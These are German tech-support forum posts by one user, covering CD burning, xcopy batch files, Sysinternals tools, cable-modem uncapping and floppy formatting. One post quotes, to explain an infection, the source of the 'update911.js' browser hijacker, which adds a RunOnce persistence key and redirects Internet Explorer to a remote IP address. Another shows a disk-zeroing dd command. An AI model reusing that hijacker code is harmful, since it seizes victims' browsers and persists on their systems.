Beiträge von Primenumber

    1) Welches Windows verwendest du? Ich nehme an XP, weil kein anderes einen Brennassistenten hat, glaub ich.

    2) Probier's mal mit neuen/anderen ASPI Treibern. http://download.adaptec.com/software_pc/aspi/aspi_471a2.exe

    3) Der DMA Modus befindet sich im Geräte-Manager, bei den Eigenschaften vom primären und sekundären IDE-Kanal.

    4) Hast du nach dem abgebrochenen Flash Vorgang nochmal dieselbe Version drübergeflasht um ganz sicher zu gehen, dass wirklich eine korrekt beschriebene Firmware drauf ist? Oder gibt es jedesmal einen Fehler, egal was du flasht?

    Wenn du wirklich nur kopieren willst, reicht folgender Befehl:

    C:\From>xcopy *.* C:\To /s

    Die Option /e (statt /s) kopiert auch leere Unterverzeichnisse. Wenn das trotzdem in ein Batchfile hinein soll, sieht es so aus:

    echo off
    xcopy *.* %1 /s

    %1 ist dann der erste Parameter den man übergibt, soll heißen aufrufen würde man die Batchdatei so (ich nenn die Datei mal copier.bat)

    copier C:\To

    Diese Variante verlangt dass das Batchfile im selben Verzeichnis liegt (und wird vermutlich mitkopiert). Aber es ist ja kein Problem auch die Quelle als Parameter anzugeben ..

    Aber wie beefy schon sagte, bei größeren Vorhaben ist der WSH schon besser. (Versuch mal jemand in der cmd mit for-Schleifen und move ganze Verzeichnisbäume zu verschieben!!)

    Bei solchen Schädlingen, die z.B. den Task-Manager oder RegEdit nach dem Öffnen sofort wieder schließen, sind die anderen Tools von Sysinternals nicht schlecht.

    Ganz gut finde ich den ProcExp der einem auch die Möglichkeit gibt, einzelne Handles zu schließen; ganz nützlich wenn der Explorer wiedermal meint ein leeres Verzeichnis nicht löschen zu können.

    Und der ganze Schwung Monitore (RegMon, DiskMon, FileMon) ist imo auch sehr praktisch.

    Nunja, fachliche Erklärung .. gleich das erste Ergebnis bei der Suche nach update911.js in Google fördert im Chip Online Forum folgendes zu Tage:

    var url = "http://81.211.105.8/index.php?v=1";
    var burl = "http://81.211.105.8/search.php?v=1";
    var fso = new ActiveXObject("Scripting.FileSystemObject");
    var tfolder = fso.GetSpecialFolder(0);
    var filepath = tfolder + "\\update911.js";
    var Shell = new ActiveXObject("WScript.Shell");
    Shell.RegWrite("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\tlc",filepath);
    Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page",url);
    Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Search Page",url);
    Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Search Bar",burl);
    Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Use Search Asst","no");
    Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Use Custom Search URL",1,"REG_DWORD");

    Der Eintrag war mit hoher Wahrscheinlichkeit die ganze Zeit im RunOnce Schlüssel und wurde von sensei einfach übersehen. :shinner:

    Es gibt schon eine User Implementation vom LAN-Modus. Besteht aus einem Server und Client Programm, letzteres schreibt einen Eintrag in die hosts Datei, damit die Multiplayer Pakete auf die selbst definierte IP umgeleitet werden.

    Ich hängs mal dran, hoffentlich klappt's auch.

    Das Betriebssystem eines Motorola Surfboard Modems ist VxWorks, ein RTOS.

    Lancity Modems kann man nicht "uncappen", in dem Sinn dass man die Downstream- und Upstream Geschwindigkeit selber einstellen kann. Es gibt nur den Hack der die Routing Tables ändert und "unbeschränkten" Upload liefert. Unbeschränkt heißt hier so viel wie die Leitung hergibt, mit Berücksichtigung der anderen Teilnehmer (das wird am Abend weniger sein als zu früher Stunde). Anyway, die meisten Cable ISPs haben diese Möglichkeit für Lancity Modems abgedreht.

    Bei Surfboard Modems soll angeblich das SB4200 das letzte seiner Art sein, welches Uncapping erlaubt. Und Seppi, so spannend es auch ist, du hast vergessen zu erwähnen dass es illegal ist! ;)

    Außerdem erreicht man bei 2 MB/sec sein Traffic Limit ziemlich flott und wenn dann der ISP aufmerksam wird und im Modem nachguckt, ist das weniger erfreulich. :shinner:

    Zitat von HaPi

    Werde mich in Zukunft zurückhalten.


    Mein Posting sollte auch nicht als zu harsch aufgefasst werden, ich hab erst im Nachhinein gemerkt, dass es deine erste Meldung im Forum war. Zurückhalten in dem Sinne, dass du gar nichts schreibst, will ich aber auch nicht, ich mag nur solche threadverlängernden messages nicht à la "probier dieses und jenes" und als Antwort kommt "hat er schon" und das alles geht aus den bisherigen Nachrichten heraus.

    Nun zurück zum Eigentlichen: Ordo, wir wollen Feedback :)
    Hat es geklappt in der Verwaltung? Hat es bei der Authentifizierung hingehaun? Ist das Problem noch aktuell oder hast überhaupt resigniert und alles freigegeben?

    Sprich zu uns

    bye, David


    So ganz konkret hast du den Thread nicht wirklich gelesen? Oder vielleicht den einen oder anderen Screenshot angesehen? Weil dann wüsstest du, dass wir über dieses Stadium schon längst hinaus sind (im Gegenteil: im Eröffnungsposting war diese Umstellung bereits erledigt). Ich möchte dich daher bitten mit sinnfreien Postings zurückzuhalten.

    @Ordo: Spiel mal ein wenig mit den Einstellungen in den Eigenschaften der LAN-Verbindung, Karte Authentifizierung. Nach paarmal de- und aktivieren der dortigen Optionen und hier und da neustarten, kam der gewünschte Dialog. Reproduzieren konnte ich dies jedoch nicht, jetzt kommt immer statt "Zugriff verweigert" die Anmelde-Aufforderung.

    Zitat von mindless

    und wie funktioniert das dann bei noch nicht formatierten Disketten? Gebe zu, daß ich jetzt etwas verwirrt bin ... .


    Prinzipiell genau so. Unter DOS/Windows formatierte Disketten bekommen FAT12 als Dateisystem.

    Wenn nun das format-Programm bei noch nicht formatierten Disketten eine "normale" Formatierung verlangt, sieht es wohl irgendwie dass noch kein Schreibzugriff auf Sektor 0 stattgefunden hat (egal welches Dateisystem welche Informationen dort ablegt). Vielleicht lässt sich dieses Verhalten auch reproduzieren, wenn man unter Unix eine Diskette einem Zero-Format unterzieht (dd if=/dev/zero of=/dev/fd0)

    Noch was: Diese Überprüfung beim Format ist eigentlich nur eine Sektor-Überprüfung, keine Dateisystem-Überprüfung. Der wirkliche Befehl chkdsk repariert ja sowohl das Dateisystem wenn er kaputte bzw. verlorene Einträge findet und meldet Mediumfehler.

    Zitat von mindless

    Dachte immer "format C:" sei so ziemlich entgültig ... oder habe ich da was falsch verstanden?


    Ooja, hast du, und 99% der restlichen Leute auch :D

    Das was der uralt-DOS-Befehl format für FAT-Dateisysteme macht, ist nichts anderes als ein chkdsk, erst beim 100ten Prozent wird genau der erste Sektor, in dem der FAT (File Allocation Table - das Hauptinhaltsverzeichnis) steht, gelöscht (ich denke mit hex 0 überschrieben).

    Wer's nicht glaubt, möge es ausprobieren, und zwar beim 99ten Prozent Ctrl+C eingeben - siehe da, nichts weg.

    bye, David